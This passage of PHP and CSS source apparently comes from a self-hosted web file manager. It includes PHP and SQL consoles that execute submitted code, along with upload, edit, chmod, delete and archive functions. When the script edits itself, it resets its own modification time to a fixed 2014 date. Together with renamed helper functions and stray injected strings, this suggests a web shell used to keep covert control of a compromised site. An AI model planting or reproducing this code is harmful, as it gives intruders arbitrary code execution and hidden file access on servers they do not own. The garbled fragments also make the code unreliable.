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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
dvadf<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?>dvadf<?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
dvadf<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
dvadf<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        dvadf<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        dvadf<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

